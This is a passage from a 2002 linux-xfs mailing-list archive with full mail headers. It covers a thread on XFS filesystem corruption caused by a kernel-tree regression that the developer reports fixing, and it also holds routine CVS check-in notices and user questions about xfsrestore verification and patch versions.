mode, the same problems occured. xfs_repair > failed and told me to zap the log. I zapped the log by invoking "xfs_repair - > L," and after that I was able to successfully mount the filesystem. > > I then entered "exit" to boot into multi-user mode, and since that moment the > system is absolutely stable. So I seriously doubt it's a hardware problem (on- > board IDE controller broken, cabling damaged, etc.) > > I seem to remember a problem that had to do with flushing the cache on IDE > drives, but I can't find anything about that on Google. But I found the > following post to this list that EXACTLY describes my problem -- obviously the > poster didn't receive a reply: > > http://oss.sgi.com/projects/xfs/mail_archive/200202/msg00446.html > > Note that I don't use RAID, just a plain XFS filesystem on a physical > partition. > > One thing that I'd like to mention (altho I don't think it's important) is > that the hard drive had been partitioned using OnTrack's drive manager > software because the bios of the old mobo didn't support hard drives larger > than 2.5 gig. I'm pretty sure this isn't the root of my problems because the > partition table is detected properly: > > ============================ 8x ================================= > Nov 22 23:59:23 Server kernel: hda: 16514064 sectors (8455 MB) w/467KiB Cache, > CHS=1027/255/63, (U)DMA > Nov 22 23:59:23 Server kernel: Partition check: > Nov 22 23:59:23 Server kernel: hda: [DM6:DDO] [remap +63] [1027/255/63] hda1 > hda2 < hda5 hda6 hda7 hda8 hda9 hda10 hda11 > > > > > cfdisk 2.11n > > Disk Drive: /dev/hda > Size: 8455168512 bytes > Heads: 255 Sectors per Track: 63 Cylinders: 1027 > > Name Flags Part Type FS Type [Label] Size (MB) > ----------------------------------------------------------------------------- > hda1 Boot Primary FAT12 [MS-DOS ] 8.23 > hda5 Logical Linux ext3 [root] 32.91 > hda6 Logical Linux XFS 1579.26 > hda7 Logical Linux XFS 526.42 > hda8 Logical Linux XFS 2097.45 > hda9 Logical Linux XFS 3676.71 > hda10 Logical Linux XFS 477.07 > hda11 Logical Linux ext2 49.36 > > > > Server:/usr/src# fdisk /dev/hda > > The number of cylinders for this disk is set to 1027. > There is nothing wrong with that, but this is larger than 1024, > and could in certain setups cause problems with: > 1) software that runs at boot time (e.g., old versions of LILO) > 2) booting and partitioning software from other OSs > (e.g., DOS FDISK, OS/2 FDISK) > > Command (m for help): p > > Disk /dev/hda: 255 heads, 63 sectors, 1027 cylinders > Units = cylinders of 16065 * 512 bytes > > Device Boot Start End Blocks Id System > /dev/hda1 * 1 1 8001 1 FAT12 > /dev/hda2 2 1027 8241345 f Win95 Ext'd (LBA) > /dev/hda5 2 5 32098+ 83 Linux > /dev/hda6 6 197 1542208+ 83 Linux > /dev/hda7 198 261 514048+ 83 Linux > /dev/hda8 262 516 2048256 83 Linux > /dev/hda9 517 963 3590496 83 Linux > /dev/hda10 964 1021 465853+ 83 Linux > /dev/hda11 1022 1027 48163+ 83 Linux > > ============================ 8x ================================= > > Any idea where to look? > > Thanks, > > Ralf > > From owner-linux-xfs@oss.sgi.com Sat Nov 23 07:27:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 07:27:53 -0800 (PST) Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANFRhuR030112 for ; Sat, 23 Nov 2002 07:27:47 -0800 Received: from ralf.wg ([192.168.2.2]:1050) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 18FcEF-0007t7-00; Sat, 23 Nov 2002 16:29:55 +0100 From: "Ralf G. R. Bergs" To: "Linux XFS Mailing List" Cc: "Walt H" , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Date: Sat, 23 Nov 2002 16:29:55 +0100 Priority: Normal X-Mailer: PMMail 2000 Professional (2.20.2660) For Windows 2000 (5.0.2195;3) In-Reply-To: <3DDF9CF8.6040701@mindspring.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) Message-Id: X-archive-position: 1843 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rabe@RWTH-Aachen.DE Precedence: bulk X-list: linux-xfs On Sat, 23 Nov 2002 07:21:28 -0800, Walt H wrote: [...] >Perhaps it was XFS related? Ok, this is reason enough for me to also go back. I will report back to this ML if downgrading helped. Thanks, Ralf -- L I N U X .~. The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Sat Nov 23 07:49:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 07:49:56 -0800 (PST) Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANFnruR030689 for ; Sat, 23 Nov 2002 07:49:53 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 18FcZp-0007mA-00; Sat, 23 Nov 2002 15:52:13 +0000 Date: Sat, 23 Nov 2002 15:52:13 +0000 From: Christoph Hellwig To: "Ralf G. R. Bergs" Cc: Linux XFS Mailing List , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) Message-ID: <20021123155213.A29887@infradead.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from rabe@RWTH-Aachen.DE on Sat, Nov 23, 2002 at 11:21:54AM +0100 X-archive-position: 1844 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Sat, Nov 23, 2002 at 11:21:54AM +0100, Ralf G. R. Bergs wrote: > Hi there, > > yesterday I replaced the motherboard of my home server (running Debian/GNU > Linux 3.0) for a CPU upgrade (486-133 -> K6-III+ 400) and the network card. > Therefore (to support the card) I had to recompile the kernel, and so I > upgraded the kernel source from 2.4.19-xfs to yesterday's 2.4.20-rc2-xfs ("SGI > XFS CVS-2002-11-22_06:00_UTC with ACLs, quota, no debug enabled.") > > Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or > "reboot" upon mounting the XFS filesystems the system would give me error > messages like the following: This was a rgeression I introduced in the xfs tree on thursday. it's fixed now. let me apologize for the pain it caused to you. From owner-linux-xfs@oss.sgi.com Sat Nov 23 08:04:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 08:04:04 -0800 (PST) Received: from waltsathlon.localhost.net (h-66-167-137-222.STTNWAHO.covad.net [66.167.137.222]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANG40uR031222 for ; Sat, 23 Nov 2002 08:04:00 -0800 Received: from mindspring.com (localhost.localhost.net [127.0.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id 5FC74EB0793; Sat, 23 Nov 2002 08:06:15 -0800 (PST) Message-ID: <3DDFA777.1030208@mindspring.com> Date: Sat, 23 Nov 2002 08:06:15 -0800 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig Cc: "Ralf G. R. Bergs" , Linux XFS Mailing List , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) References: <20021123155213.A29887@infradead.org> In-Reply-To: <20021123155213.A29887@infradead.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1845 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@mindspring.com Precedence: bulk X-list: linux-xfs Christoph, No problem. This server wasn't in production yet, and I just wanted to try the latest CVS kernel in order to capture the recent fixes that have gone into XFS. The kernel I'm using now is from CVS at around 11.3.2002. I've stressed it pretty good and it appears to be stable. I'll just stick with that until things (AIC7902 etc...) stabilize more. For me it was a case of "No harm, no foul" :) -Walt Christoph Hellwig wrote: > On Sat, Nov 23, 2002 at 11:21:54AM +0100, Ralf G. R. Bergs wrote: > >>Hi there, >> >>yesterday I replaced the motherboard of my home server (running Debian/GNU >>Linux 3.0) for a CPU upgrade (486-133 -> K6-III+ 400) and the network card. >>Therefore (to support the card) I had to recompile the kernel, and so I >>upgraded the kernel source from 2.4.19-xfs to yesterday's 2.4.20-rc2-xfs ("SGI >>XFS CVS-2002-11-22_06:00_UTC with ACLs, quota, no debug enabled.") >> >>Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or >>"reboot" upon mounting the XFS filesystems the system would give me error >>messages like the following: > > > This was a rgeression I introduced in the xfs tree on thursday. it's fixed > now. let me apologize for the pain it caused to you. > > From owner-linux-xfs@oss.sgi.com Sat Nov 23 08:07:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 23 Nov 2002 08:07:31 -0800 (PST) Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gANG7LuR031688 for ; Sat, 23 Nov 2002 08:07:25 -0800 Received: from ralf.wg ([192.168.2.2]:1428) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 18Fcqe-0000rM-00; Sat, 23 Nov 2002 17:09:36 +0100 From: "Ralf G. R. Bergs" To: "Linux XFS Mailing List" Cc: "Christoph Hellwig" , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Date: Sat, 23 Nov 2002 17:09:35 +0100 Priority: Normal X-Mailer: PMMail 2000 Professional (2.20.2660) For Windows 2000 (5.0.2195;3) In-Reply-To: <20021123155213.A29887@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) Message-Id: X-archive-position: 1846 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rabe@RWTH-Aachen.DE Precedence: bulk X-list: linux-xfs On Sat, 23 Nov 2002 15:52:13 +0000, Christoph Hellwig wrote: [...] >> Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or >> "reboot" upon mounting the XFS filesystems the system would give me error >> messages like the following: > >This was a rgeression I introduced in the xfs tree on thursday. it's fixed >now. let me apologize for the pain it caused to you. "A regression?" Nice euphemism. ;-) Seriously, thanks for being so brave to out yourself. ;-) I'm currently compiling a new kernel, and I hope that my pains will be gone afterwards. :-) -- L I N U X .~. The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Sun Nov 24 01:28:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 01:28:14 -0800 (PST) Received: from hotmail.com (oe30.law9.hotmail.com [64.4.8.87]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAO9S9uR007620 for ; Sun, 24 Nov 2002 01:28:10 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 24 Nov 2002 01:30:30 -0800 X-Originating-IP: [213.23.6.85] From: "Kai Leibrandt" To: Subject: Verify Option in xfsrestore? Date: Sun, 24 Nov 2002 10:30:16 +0100 Message-ID: <000001c2939c$18e690e0$0500a8c0@halley> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2605 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-OriginalArrivalTime: 24 Nov 2002 09:30:30.0402 (UTC) FILETIME=[21619620:01C2939C] X-archive-position: 1847 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: k_leibrandt@hotmail.com Precedence: bulk X-list: linux-xfs Hi all, I was just wondering if there are any plans to implement a verify option in xfsrestore (or even in xfsdump at the end of a dump)... If not, are there any ways around this? I could imagine doing something like a restore to stdout and then comp-ing that with the actual filesystem but this leaves much to be desired... Many thanks in advance, Kai. From owner-linux-xfs@oss.sgi.com Sun Nov 24 01:39:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 01:39:26 -0800 (PST) Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAO9dNuR008116 for ; Sun, 24 Nov 2002 01:39:24 -0800 Received: from ralf.wg ([192.168.2.2]:1241) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 18FuCu-0003dr-00 for linux-xfs@oss.sgi.com; Sun, 24 Nov 2002 11:41:44 +0100 From: "Ralf G. R. Bergs" To: "Linux XFS Mailing List" Date: Sun, 24 Nov 2002 10:41:43 +0100 Priority: Normal X-Mailer: PMMail 2000 Professional (2.20.2660) For Windows 2000 (5.0.2195;3) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: SOLVED: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) Message-Id: X-archive-position: 1848 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rabe@RWTH-Aachen.DE Precedence: bulk X-list: linux-xfs Hi there, according to Christoph's et al. hints I've gone back to XFS 1.2 Pre-release #3 and all is fine again. :-) Thanks all! Cheers, Ralf -- L I N U X .~. The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Sun Nov 24 13:53:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 13:53:53 -0800 (PST) Received: from mail.blazebox.homeip.net (postfix@pool-141-155-136-242.ny5030.east.verizon.net [141.155.136.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAOLrluR020449 for ; Sun, 24 Nov 2002 13:53:48 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.blazebox.homeip.net (Postfix) with ESMTP id C1CD5A3DF; Sun, 24 Nov 2002 16:57:26 -0500 (EST) Received: from mail.blazebox.homeip.net (localhost [127.0.0.1]) by localhost (AvMailGate-2.0.1.5) id 87810-79B4F3D5; Sun, 24 Nov 2002 16:57:26 -0500 Received: from blazebox.homeip.net (blazebox [192.168.0.1]) by mail.blazebox.homeip.net (Postfix) with SMTP id D9A67A226; Sun, 24 Nov 2002 16:57:25 -0500 (EST) Received: from 192.168.0.254 (SquirrelMail authenticated user paul) by www.blazebox.homeip.net with HTTP; Sun, 24 Nov 2002 16:57:25 -0500 (EST) Message-ID: <1496.192.168.0.254.1038175045.squirrel@www.blazebox.homeip.net> In-Reply-To: <200211230443.gAN4hPI01190@taclab54.munich.sgi.com> References: <200211230443.gAN4hPI01190@taclab54.munich.sgi.com> Date: Sun, 24 Nov 2002 16:57:25 -0500 (EST) Subject: Re: TAKE - merge up to 2.4.20-rc3 From: "Diffie" To: "Christoph Hellwig" Cc: linux-xfs@oss.sgi.com X-Mailer: SquirrelMail (version 1.3.3 [CVS-DEVEL]) MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal X-AntiVirus: checked by AntiVir MailGate (version: 2.0.1.5; AVE: 6.16.0.0; VDF: 6.16.0.21; host: blazebox.homeip.net) X-archive-position: 1849 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: diffie@blazebox.homeip.net Precedence: bulk X-list: linux-xfs > The diffs get smaller.. > and invisible too...? :D > > Date: Fri Nov 22 13:26:40 PST 2002 > Workarea: taclab54.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs > > The following file(s) were checked into: > bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs > > > Modid: 2.4.x-xfs:slinx:133880a > linux/mm/vmalloc.c - 1.38 > linux/mm/memory.c - 1.78 > linux/fs/nfs/read.c - 1.29 > linux/fs/nfs/nfs3xdr.c - 1.9 > linux/fs/nfs/nfs2xdr.c - 1.12 > linux/fs/ext2/inode.c - 1.38 > linux/fs/buffer.c - 1.114 > linux/drivers/pci/pci.c - 1.51 > linux/drivers/isdn/isdn_ppp.c - 1.24 > linux/drivers/char/Makefile - 1.57 > linux/Makefile - 1.181 > linux/drivers/scsi/scsi_merge.c - 1.33 > linux/arch/i386/kernel/pci-dma.c - 1.4 > linux/fs/jffs2/file.c - 1.5 > linux/fs/intermezzo/dcache.c - 1.5 > linux/drivers/net/tg3.c - 1.7 > - merge up to 2.4.20-rc3 > > I just checked out the cvs tree and do not see the above changes to rc3 unless i am missing something? Is there a diff between rc2 and rc3 of cvs tree somewhere to download? Diffie From owner-linux-xfs@oss.sgi.com Sun Nov 24 15:39:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 15:39:30 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAONdQuR021480 for ; Sun, 24 Nov 2002 15:39:26 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAOLfpG8003829 for ; Sun, 24 Nov 2002 13:41:52 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA23969 for linux-xfs@oss.sgi.com; Mon, 25 Nov 2002 10:40:30 +1100 (EST) Date: Mon, 25 Nov 2002 10:40:30 +1100 (EST) From: Nathan Scott Message-Id: <200211242340.KAA23969@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - fix typo in docs X-archive-position: 1850 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Yet another pretty print change to "check" script with timestamps enabled. Fix a typo in README.quota. Date: Fri Nov 22 00:41:38 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133830a cmd/xfstests/check - 1.12 Date: Sun Nov 24 15:39:53 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133939a cmd/xfsprogs/doc/README.quota - 1.7 From owner-linux-xfs@oss.sgi.com Sun Nov 24 16:27:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 16:27:56 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAP0RouR022302 for ; Sun, 24 Nov 2002 16:27:50 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAONY5Kp020477 for ; Sun, 24 Nov 2002 15:34:06 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id LAA25225; Mon, 25 Nov 2002 11:28:53 +1100 (EST) Date: Mon, 25 Nov 2002 11:28:53 +1100 (EST) From: Nathan Scott Message-Id: <200211250028.LAA25225@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com, agruen@suse.de Subject: TAKE - attr docs X-archive-position: 1851 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Documentation updates regarding trusted EAs from AndreasG. Date: Sun Nov 24 16:28:19 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:133940a cmd/attr/VERSION - 1.26 cmd/attr/doc/CHANGES - 1.33 cmd/attr/debian/changelog - 1.28 cmd/attr/man/man5/attr.5 - 1.6 From owner-linux-xfs@oss.sgi.com Sun Nov 24 20:09:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 20:09:15 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAP49CuR025429 for ; Sun, 24 Nov 2002 20:09:12 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAP3FTKp028438 for ; Sun, 24 Nov 2002 19:15:30 -0800 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAP4AUp30599; Mon, 25 Nov 2002 15:10:30 +1100 Date: Mon, 25 Nov 2002 15:10:30 +1100 From: Keith Owens Message-Id: <200211250410.gAP4AUp30599@sherman.melbourne.sgi.com> Subject: TAKE - Correct sync with 2.4.20-rc3 and kdb X-archive-position: 1852 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs A few differences from 2.4.20-rc3 and current kdb have appeared in the XFS tree. Correct them. Date: Sun Nov 24 20:08:54 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133951a linux/kernel/softirq.c - 1.21 linux/drivers/sound/i810_audio.c - 1.25 linux/Documentation/kbuild/makefiles.txt - 1.6 linux/drivers/char/mk712.c - 1.2 From owner-linux-xfs@oss.sgi.com Sun Nov 24 21:48:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 21:48:36 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAP5mVuR026803 for ; Sun, 24 Nov 2002 21:48:31 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAP3otG8016359 for ; Sun, 24 Nov 2002 19:50:58 -0800 Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA29226; Mon, 25 Nov 2002 16:49:19 +1100 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.6/8.12.6/Debian-8) with ESMTP id gAP5n8Wp001699; Mon, 25 Nov 2002 16:49:08 +1100 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.6/8.12.6/Debian-8) id gAP5n7FL001697; Mon, 25 Nov 2002 16:49:07 +1100 Date: Mon, 25 Nov 2002 16:49:07 +1100 From: Nathan Scott To: Diffie Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - merge up to 2.4.20-rc3 Message-ID: <20021125054907.GF610@frodo.melbourne.sgi.com> References: <200211230443.gAN4hPI01190@taclab54.munich.sgi.com> <1496.192.168.0.254.1038175045.squirrel@www.blazebox.homeip.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1496.192.168.0.254.1038175045.squirrel@www.blazebox.homeip.net> User-Agent: Mutt/1.4i X-archive-position: 1853 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Sun, Nov 24, 2002 at 04:57:25PM -0500, Diffie wrote: > > The diffs get smaller.. > > > > and invisible too...? :D > Several servers are down while folks are moving offices this week (see Steve's earlier mail) - so expect some mods to take a little while (possibly days) to show up in CVS on oss. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Sun Nov 24 22:07:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 22:08:00 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAP67vuR027402 for ; Sun, 24 Nov 2002 22:07:57 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAP4AOG8017079 for ; Sun, 24 Nov 2002 20:10:25 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA73997 for linux-xfs@oss.sgi.com; Mon, 25 Nov 2002 17:09:04 +1100 (EST) Date: Mon, 25 Nov 2002 17:09:04 +1100 (EST) From: Nathan Scott Message-Id: <200211250609.RAA73997@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - fix ioctl cleanup X-archive-position: 1854 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Fix cleanup of path walking by handle - use hreq.path, not local path variable. Date: Sun Nov 24 22:08:38 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133953a linux/fs/xfs/linux/xfs_ioctl.c - 1.84 From owner-linux-xfs@oss.sgi.com Sun Nov 24 23:51:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 24 Nov 2002 23:51:13 -0800 (PST) Received: from dns.phoenix-ag.de (dns.phoenix-ag.de [145.253.185.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAP7p6uR029515 for ; Sun, 24 Nov 2002 23:51:07 -0800 Received: from phoenix-ag.de (inside.p-i-n.com [129.10.9.21]) by dns.phoenix-ag.de (8.12.5/8.12.5) with ESMTP id gAP7rXlW073197 for ; Mon, 25 Nov 2002 08:53:33 +0100 (CET) (envelope-from r.karschnick@adg.de) Received: from ntmaprz1.phoenix-ag.de (webmail.phoenix-ag.de [129.10.59.59]) by phoenix-ag.de (8.11.6/8.11.6) with ESMTP id gAP7rX302924 for ; Mon, 25 Nov 2002 08:53:33 +0100 (CET) (envelope-from r.karschnick@adg.de) Received: by ntmaprz1.phoenix-ag.de with Internet Mail Service (5.5.2655.55) id ; Mon, 25 Nov 2002 08:53:24 +0100 Message-ID: <6E94A5352294F4488885206154EC53A00498AE@NTFUSRV1> From: KARSCHNICK Ralf Otto To: "'linux-xfs@oss.sgi.com'" Subject: Versions Date: Mon, 25 Nov 2002 08:53:29 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 422 X-archive-position: 1855 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: r.karschnick@adg.de Precedence: bulk X-list: linux-xfs Hi, just a little Question about Versions: how can I determine, which Version of xfs (1.0, 1.1) the patches in the "patches" directory are. I am using Kernel 2.4.19 and of course, I would like to use it with xfs 1.1 (or higher, as soon as Version 1.2 is marked as stable), but the release patches are available for Kernel Version 2.4.18 only. Thanks for answering R. Karschnick [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Mon Nov 25 04:31:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 04:31:43 -0800 (PST) Received: from mail.tvol.net (pr-66-150-46-254.wgate.com [66.150.46.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAPCVauR001975 for ; Mon, 25 Nov 2002 04:31:36 -0800 Received: from sinz.eng.tvol.net ([10.32.2.99]) by mail.tvol.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 41A6WXVC; Mon, 25 Nov 2002 07:34:23 -0500 Received: from wgate.com (sinz.eng.tvol.net [127.0.0.1]) by sinz.eng.tvol.net (8.12.5/8.12.5) with ESMTP id gAPCWvGT028168; Mon, 25 Nov 2002 07:32:57 -0500 Message-ID: <3DE21879.50305@wgate.com> Date: Mon, 25 Nov 2002 07:32:57 -0500 From: Michael Sinz User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20021111 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: "Ralf G. R. Bergs" , Linux XFS Mailing List , "Maciej.BOROWKA@ifaedi.insa-lyon.fr" Subject: Re: Serious XFS trouble: umount filesystem -> corrupt (on IDE drive) References: <20021123155213.A29887@infradead.org> Content-Type: multipart/mixed; boundary="------------070204000908030202040200" X-archive-position: 1856 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: 